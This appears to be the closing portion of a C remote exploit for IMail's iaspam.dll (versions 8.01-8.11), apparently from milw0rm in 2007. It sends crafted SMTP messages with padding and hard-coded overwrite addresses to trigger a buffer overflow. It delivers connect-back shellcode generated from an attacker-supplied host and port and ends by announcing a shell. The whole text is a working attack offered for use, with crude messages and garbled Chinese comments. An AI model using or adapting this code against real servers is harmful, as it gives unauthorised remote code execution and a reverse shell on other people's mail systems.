		send(s, (const char *)payload, strlen((const char *)payload), 0);

		// MIME
     	send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   //	recv(s, buffer, sizeof(buffer), 0);
  //	printf("%s", buffer);
   //     printf("[+]Fucking Server at %s.\n", szTIME);
   // 	memset(buffer, 0, sizeof(buffer));
		
		//print $sock "Content-Transfer-Encoding:$padding2\r\n";
		memset(padding, 0x43, 80);
		//memcpy(padding, "\x43", 80);
		padding[80] = '\x00';

		memset(payload, 0x00, sizeof(payload));
		memcpy(payload, szCTE, strlen((const char*)szCTE));
        memcpy(payload+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n", 2);

		send(s, (const char *)payload, strlen((const char *)payload), 0);
		Sleep(200);

		// ·¢ËÍshellcode¹ýÈ¥±£Žæ
        memset(payload, 0x00, sizeof(payload));
		memcpy(payload, sh_Buff, strlen((const char*)sh_Buff));
		memcpy(payload+strlen((const char*)sh_Buff), "\r\n", 2);
		
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		memset(payload, 0x00, sizeof(payload));
		


	} 
	else	   //  µÚÈý·âÓÊŒþ£¬¹¹ÔìÒç³ö
	{
		Sleep(500);  // ÒòΪҪŽ¥·¢Â©¶ŽÁË£¬ËùÒÔ±ØÐëÒªÍíµã£¬²»È»shellcodeûµœÎ»
		/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163žöB
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # ÔÚtebÖÐ
           my $straddr2 = "\x6c\x54\x03\x10";     # shellcode»á¿œ±ŽµœµÄµØÖ·

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        */
		memcpy(payload, szCT, strlen((const char *)szCT));
		//memcpy(payload+strlen(const char *szCT), "\"", 1);
		memset(padding, 0x43, 5000);
		padding[0] = '\x22';   
		padding[2029] = '\x20';
		padding[4076] = '\x20';

		//straddr1
		padding[4223] = '\x50';
		padding[4224] = '\xd0';
		padding[4225] = '\xfd';
		padding[4226] = '\x7f';
		padding[4227] = '\x30';
		padding[4228] = '\xd0';
		padding[4229] = '\xfd';
		padding[4230] = '\x7f';

		//straddr2  Ž¥·¢Òç³öµÄµØÖ·
		padding[4231] = '\x6c';
		padding[4232] = '\x54';
		padding[4233] = '\x03';
		padding[4234] = '\x10';

		padding[4235] = '\x0d';
		padding[4236] = '\x0a';
		padding[4237] = '\x00';

		
		memcpy(payload+strlen((const char *)szCT), padding, strlen((const char *)padding));
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		// MIME
     	send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   //	recv(s, buffer, sizeof(buffer), 0);
  //	printf("%s", buffer);
   //     printf("[+]Fucking Server at %s.\n", szTIME);
   // 	memset(buffer, 0, sizeof(buffer));
		
		//print $sock "Content-Transfer-Encoding:$padding2\r\n";
		memset(padding, 0x43, 80);
		//memcpy(padding, "\x43", 80);
		padding[80] = '\x00';

		memset(payload, 0x00, sizeof(payload));
		memcpy(payload, szCTE, strlen((const char*)szCTE));
        memcpy(payload+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n", 2);

		send(s, (const char *)payload, strlen((const char *)payload), 0);
		Sleep(200);

		// send payload  ÐÞžÄÖžÕëµØÖ·£¬¹¹Ôì³öÒç³ö
        memset(payload, 0x00, sizeof(payload));
		// ÐèÒªÖžÏò¹¹ÔìÒç³ö×Ö·ûŽ®µÄµØÖ·£¬ÒÔŒ°2žö¿ÉÐŽµØÖ·
		memcpy(payload, "\x50\xc0\xfd\x7f", 4);
		memcpy(payload+4, "\x40\xc0\xfd\x7f\x30\xc0\xfd\x7f", 8);
		memcpy(payload+12, "\r\n", 2);
		
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		memset(payload, 0x00, sizeof(payload));

	}


	// END
	Sleep(500);
	send(s, szEND, strlen(szEND), 0);
	recv(s, buffer, sizeof(buffer), 0);
	if(strstr(buffer, "250"))
	  printf("[+]Recv: %s", buffer);
	else
		{
			printf("[-]Seems Service Down~ :( \n");
			Disconnect(s);
			return -1;
		}
	memset(buffer, 0, sizeof(buffer));



	// QUIT
	send(s, szQUIT, strlen(szQUIT), 0);
	recv(s, buffer, sizeof(buffer), 0);
//	printf("%s", buffer);
    printf("[+]Fucking END, Ejaculating Now !\n\n");
	memset(buffer, 0, sizeof(buffer));

	
	Sleep(400);

    closesocket(s);

	WSACleanup();

	return 0;

}




int main(int argc, char *argv[])
{

	
	//int  imail_ver = 0;    //imail version  (buffer²»Í¬)
	//int  ret;

	//SOCKET  s;
	//WSADATA WSAData;

	printf("\n== IMail iaspam.dll 8.01-8.11 Private Remote Exploit\n");
	printf("== by axis@ph4nt0m\n");
	printf("== http://www.ph4nt0m.org\n");
	printf("== 2007-06\n");
	printf("== 2007-09-18 published as a gift for the 6th Anniversary of Ph4nt0m\n");
	printf("== ConnBack Version\n");
	printf("== Thanks EnvyMask@ph4nt0m\n\n");


	if(argc != 5)
	{
		help(argv[0]);
		return 0;
	}

	if(argc == 5) port = atoi(argv[4]);


	GetShellCode(argv[3], port);
	if (!sh_Len)
	{
		printf("[-] Shellcode generate error.\n");
		exit(1);
	}


	//printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
	//PrintSc(sh_Buff, sh_Len);


	Sleep(200);

	for (int mail_payload = 0; mail_payload <= 3; mail_payload++)
	{
		//printf("[+]Now Sending the %d fucking Mail!\n",mail_payload+1);
		sendfuckingmail(mail_payload, argv[1], atoi(argv[2]));
		Sleep(2000);
	}
	
	printf("Got a Shell on your port ?! @_@\n\n");


	return 1;

}

// milw0rm.com [2007-09-21]